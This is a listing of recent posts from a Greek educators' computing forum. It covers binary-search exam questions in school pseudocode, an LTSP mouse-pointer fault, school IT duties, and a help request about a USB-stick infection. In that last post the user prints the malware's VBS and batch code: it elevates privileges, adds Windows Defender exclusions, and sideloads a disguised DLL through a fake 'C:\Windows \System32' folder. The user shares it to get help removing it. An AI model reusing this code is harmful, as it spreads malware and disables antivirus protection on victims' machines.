Τελευταία μηνύματα

#81
Αναζήτηση / Απ: Δυαδική Αναζήτηση και μετά...
Τελευταίο μήνυμα από ssimaiof - 14 Δεκ 2025, 08:23:25 ΜΜ
Μπορούμε απλώς να μιμηθούμε την ΑΝ με την ΟΣΟ. Δεν ξέρω αν είναι αυτό που θέλεις εμένα όμως δεν μου πολυαρέσει σαν λογική θέματος.
    i <- θ
    ΟΣΟ i > 1 ΚΑΙ Α[i] = key ΕΠΑΝΑΛΑΒΕ
      ΓΡΑΨΕ i
      i <- i - 1
    ΤΕΛΟΣ_ΕΠΑΝΑΛΗΨΗΣ
    Flag <- ΨΕΥΔΗΣ
    ΟΣΟ Flag = ΨΕΥΔΗΣ ΚΑΙ Α[i] = key ΕΠΑΝΑΛΑΒΕ
      ΓΡΑΨΕ i
      Flag <- ΑΛΗΘΗΣ
    ΤΕΛΟΣ_ΕΠΑΝΑΛΗΨΗΣ
    i <- θ + 1
    ΟΣΟ i < Ν ΚΑΙ Α[i] = key ΕΠΑΝΑΛΑΒΕ
      ΓΡΑΨΕ i
      i <- i + 1
    ΤΕΛΟΣ_ΕΠΑΝΑΛΗΨΗΣ
    Flag <- ΨΕΥΔΗΣ
    ΟΣΟ Flag = ΨΕΥΔΗΣ ΚΑΙ Α[i] = key ΕΠΑΝΑΛΑΒΕ
      ΓΡΑΨΕ i
      Flag <- ΑΛΗΘΗΣ
    ΤΕΛΟΣ_ΕΠΑΝΑΛΗΨΗΣ
#82
Αναζήτηση / Απ: Δυαδική Αναζήτηση και μετά...
Τελευταίο μήνυμα από nikolasmer - 14 Δεκ 2025, 07:19:27 ΜΜ
Σκεφτόμουν οτι μπορεί να βγεί εκτός πίνακα. Έχεις κάτι στο μυαλό σου Παναγιώτη;
Χωρίς όμως να μπλέξουμε με πλήρεις απτιμήσεις λογικών τελεστών και τα ρέστα.
#83
Αναζήτηση / Απ: Δυαδική Αναζήτηση και μετά...
Τελευταίο μήνυμα από pgrontas - 14 Δεκ 2025, 05:43:17 ΜΜ
Με δομή επιλογής δεν βλέπω κάτι, αλλά αν κάποιος χρησιμοποιήσει ΌΣΟ δεν είναι το ίδιο πράγμα; με την έννοια ότι το ΌΣΟ είναι ένα επαναλαμβανόμενο ΑΝ).
#84
Αναζήτηση / Δυαδική Αναζήτηση και μετά σει...
Τελευταίο μήνυμα από nikolasmer - 13 Δεκ 2025, 05:01:48 ΜΜ
Έβγαλα ένα θεματάκι για ένα διαγώνισμα, κλασικότατο το 1ο ερώτημα , Δυαδική με κένά. Και έπειτα εύρεση όλων των θέσεων εμφάνισης του στοιχείου χωρίς τη χρήση δομής επιλογής. Κάτι είχα στο μυαλό μου σαν απάντηση για το 2ο ερώτημα, να κάνει σεριακή αριστερά και έπειτα δεξιά του στοιχείου αλλά μπορεί να είναι και ακριανό οπότε πάλι θέλει έλεγχο με επιλογή  (το βαλα μια μονάδα έτσι για την τιμή). Να το βγάλω ή υπάρχει τρόπος;

Β2. 1. Ο πίνακας Α[Ν] περιέχει ακέραια στοιχεία ταξινομημένα σε αύξουσα σειρά και μπορεί να περιέχει και ίδιες τιμές (διπλότυπα). Να συμπληρώσετε τα κενά στο παρακάτω τμήμα προγράμματος ώστε αυτό να βρίσκει και να εμφανίζει τη θέση εμφάνισης του στοιχείου key που αναζητείται ή το μήνυμα «ΔΕΝ ΒΡΕΘΗΚΕ» σε αντίστοιχη περίπτωση, εφαρμόζοντας τον αλγόριθμο της Δυαδικής Αναζήτησης.
flag ß  ...(1)...
θ ß 0
 left
ß 1
 right
ß N
 
ΟΣΟ ...(2)...  ΚΑΙ (left <= right) ΕΠΑΝΑΛΑΒΕ
    mid
ß ...(3)...
    ΑΝ A[mid] = key ΤΟΤΕ
      flag
<- ΑΛΗΘΗΣ
      θ ß mid
   
ΑΛΛΙΩΣ_ΑΝ A[mid] > key ΤΟΤΕ
      right
ß ...(4)...
    ΑΛΛΙΩΣ
  left ß ...(5)...
  ΤΕΛΟΣ_ΑΝ
ΤΕΛΟΣ_ΕΠΑΝΑΛΗΨΗΣ
ΑΝ ...(6)... ΤΟΤΕ
    ΓΡΑΨΕ θ
 
ΑΛΛΙΩΣ
    ΓΡΑΨΕ "ΔΕΝ ΒΡΕΘΗΚΕ"
ΤΕΛΟΣ_ΑΝ
Μονάδες 6
2. Αφήνοντας το παραπάνω τμήμα προγράμματος ως έχει, συμπληρώστε με τον κατάλληλο κώδικα ώστε να υπολογίζει και να εμφανίζει όλες τις θέσεις που υπάρχει το στοιχείο key στον πίνακα Α[Ν], χωρίς τη χρήση δομής επιλογής. 
Μονάδες 1
#85
Linux / Απ: Εξαφανίζεται ο δείκτης του...
Τελευταίο μήνυμα από thanos - 12 Δεκ 2025, 10:35:01 ΠΜ
Παράθεση από: alexxtasi στις 11 Δεκ 2025, 02:27:36 ΜΜΚαλησπέρα
καταλαβαίνω πως δοκίμασες άλλο ποντίκι ακόμα και άλλες θύρες USB.
Έλεγξες τα ενδεχόμενα του να φταίνε οι ίδιες οι θύρες USB ή ακόμα και τροφοδοτικό του υπολογιστή ?
Αυτό σου συμβαίνει μόνο σε έναν ltsp client σωστά ?
Άλλες θύρες USB, ναι. Ποντίκι δεν το έλεγξα :o
Συνέβαινε σε έναν ΗΥ μόνο, ναι. 
Τώρα τον έχω αλλάξει, ελπίζω να μην ξαναχρειαστεί να τον βάλω :)
#86
Τεχνική υποστήριξη / Απ: malware
Τελευταίο μήνυμα από George Eco - 11 Δεκ 2025, 09:48:46 ΜΜ
Εγκαθιστούμε  Linux.
Ή τρέχουμε απο live usb.
Κάνεις με αυτό το τρόπο έρευνα, αρχικά για να δεις αν διασώζεται τίποτα από τα αρχέια σου.
Μελέτη κάνεις αν δε βγει έτσι λύση.


Δες κι εδώ:
https://learn.microsoft.com/en-us/answers/questions/2672789/remove-shortcut-virus-iexplore-vbs-from-flash-driv
#87
Τεχνική υποστήριξη / malware
Τελευταίο μήνυμα από xdv - 11 Δεκ 2025, 03:52:52 ΜΜ
If Not WScript.Arguments.Named.Exists("elevated") Then
	Set sh = CreateObject("Shell.Application")
	sh.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " /elevated", "", "runas", 1
	WScript.Quit
End If
Set fs = CreateObject("Scripting.FileSystemObject")
pp = fs.GetParentFolderName(WScript.ScriptFullName)
bp = pp & "\u197288.bat"
If fs.FileExists(bp) Then
	Set sp = WScript.CreateObject("WScript.Shell")
	sp.Run Chr(34) & bp & Chr(34), 0
End If

@echo off
chcp 65001
explorer "%~dp0..\KINGSTON"
if exist "%~dp0u509436.dat" if not exist "C:\Windows \System32\printui.dll" (
	powershell -Command "Add-MpPreference -ExclusionPath '%~dp0'; Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Start-Sleep -Seconds 2"
	if exist "C:\Windows \System32" rmdir /S /Q "\\?\C:\Windows "
	mkdir "\\?\C:\Windows \System32"
	xcopy "C:\Windows\System32\printui.exe" "C:\Windows \System32" /Y
	xcopy "%~dp0u509436.dat" "C:\Windows \System32" /Y
	ren "C:\Windows \System32\u509436.dat" "printui.dll"
	if exist "C:\Windows \System32\printui.exe" (
		if exist "C:\Windows \System32\printui.dll" (
			start "" "C:\Windows \System32\printui.exe"
		) else rmdir /S /Q "\\?\C:\Windows "
	) else rmdir /S /Q "\\?\C:\Windows "
)

σε ένα φλασάκι βρήκα τέσσερα ύποπτα αρχεία 
  • ένα .vbs
  • .bat
  • .dat
  • .bin
Ήταν όλα σε ένα φάκελο με όνομα sysvolume. Πιο πάνω παραθέτω τον κώδικα για δύο από αυτά. Το αποτέλεσμα είναι ότι εξαφανίζονται όλα τα αρχεία που υπάρχουν στο φλασάκι και εμφανίζεται μια συντόμευση!
Πώς το διαχειριζόμαστε;
#88
Linux / Απ: Εξαφανίζεται ο δείκτης του...
Τελευταίο μήνυμα από alexxtasi - 11 Δεκ 2025, 02:27:36 ΜΜ
Καλησπέρα
καταλαβαίνω πως δοκίμασες άλλο ποντίκι ακόμα και άλλες θύρες USB.

Έλεγξες τα ενδεχόμενα του να φταίνε οι ίδιες οι θύρες USB ή ακόμα και τροφοδοτικό του υπολογιστή ?
Αυτό σου συμβαίνει μόνο σε έναν ltsp client σωστά ?
#89
Linux / Εξαφανίζεται ο δείκτης του πον...
Τελευταίο μήνυμα από thanos - 11 Δεκ 2025, 08:52:08 ΠΜ
Σε Dual Core με Radeon, εξαφανίζεται ο δείκτης του ποντικιού. Δεν έχω να καταφέρω να εντοπίσω υπό ποιες συνθήκες συμβαίνει. Με αποσύνδεση/επανασύνδεση δεν επανέρχεται, μόνο με επανεκκίνηση.

Πως μπορώ να το αποφύγω, ή ποια εντολή χρειάζομαι για να επαναφέρω το δείκτη όταν εξαφανίζεται;

UPDATE: Έβαλα άλλον ΗΥ οπότε δεν χρειάζομαι άμεσα λύση.
#90
Τεχνική υποστήριξη / Απ: Windows 11 updates σε διαδ...
Τελευταίο μήνυμα από falexakos - 10 Δεκ 2025, 11:30:14 ΠΜ
Παράθεσηδεν υποχρεούται από πουθενά να ξέρει και φυσικά δεν υποχρεούται από πουθενά να παρακολουθήσει τέτοιο σεμινάριο
Δεν είπα πως είναι υποχρεωμένος να ξέρει π.χ. να δίνει ipconfig, αλλά -ιδίως σήμερα- θα μπορούσε πολύ εύκολα να μάθει άπαξ (π.χ. απευθυνόμενος στην ΤΝ). Θα μου πεις: Στο σχολείο είναι για να διδάσκει, όχι για να φτιάχνει το δίκτυο
Σωστά! Υπάρχει όμως και η συναδελφικότητα. Εν ολίγοις, αν θέλεις "να γίνει σύντομα η δουλειά", βοηθάς! Διαφορετικά μπορούμε να μην αλλάζουμε το toner στο φωτοτυπικό αν τελειώσει όσο βγάζουμε φωτοτυπίες και να περιμένουμε να έρθει ο τεχνικός. Ή να μην κοιτάζουμε να σηκώσουμε μια ασφάλεια που έπεσε, διότι -πράγματι- δεν είναι δουλειά κανενός εκπαιδευτικού αυτή. Και ενέχει ίσως και τον κίνδυνο ηλεκτροπληξίας. Κι αν μας πούνε "κάνε σε παρακαλώ ένα reset τον router", μπορούμε να πούμε ότι δεν ξεχωρίζουμε ποιος είναι ο router και ποιο το switch. Anyway... Ίσως και να πρέπει να γίνουν αυτά.  ???
Για το σεμινάριο τώρα, δικό μου λάθος που δεν το διατύπωσα σωστά: Θα πρέπει να είναι υποχρεωτικό μόνο για όσους δηλώσουν πως επιθυμούν να το παρακολουθήσουν. Αυτό ώστε να μπορεί μεν να γίνει πρωινές, εργάσιμες ώρες, αλλά να μη λειτουργήσει και ως ... ευκαιρία για σκασιαρχείο. 
Τέλος πάντων, ξέρω πως δεν πρόκειται να γίνει κάτι τέτοιο, διότι θα πουν το κλασικό: "Δεν υπάρχει χρήμα", "δε γίνεται να χαθούν άλλες ώρες διδασκαλίας".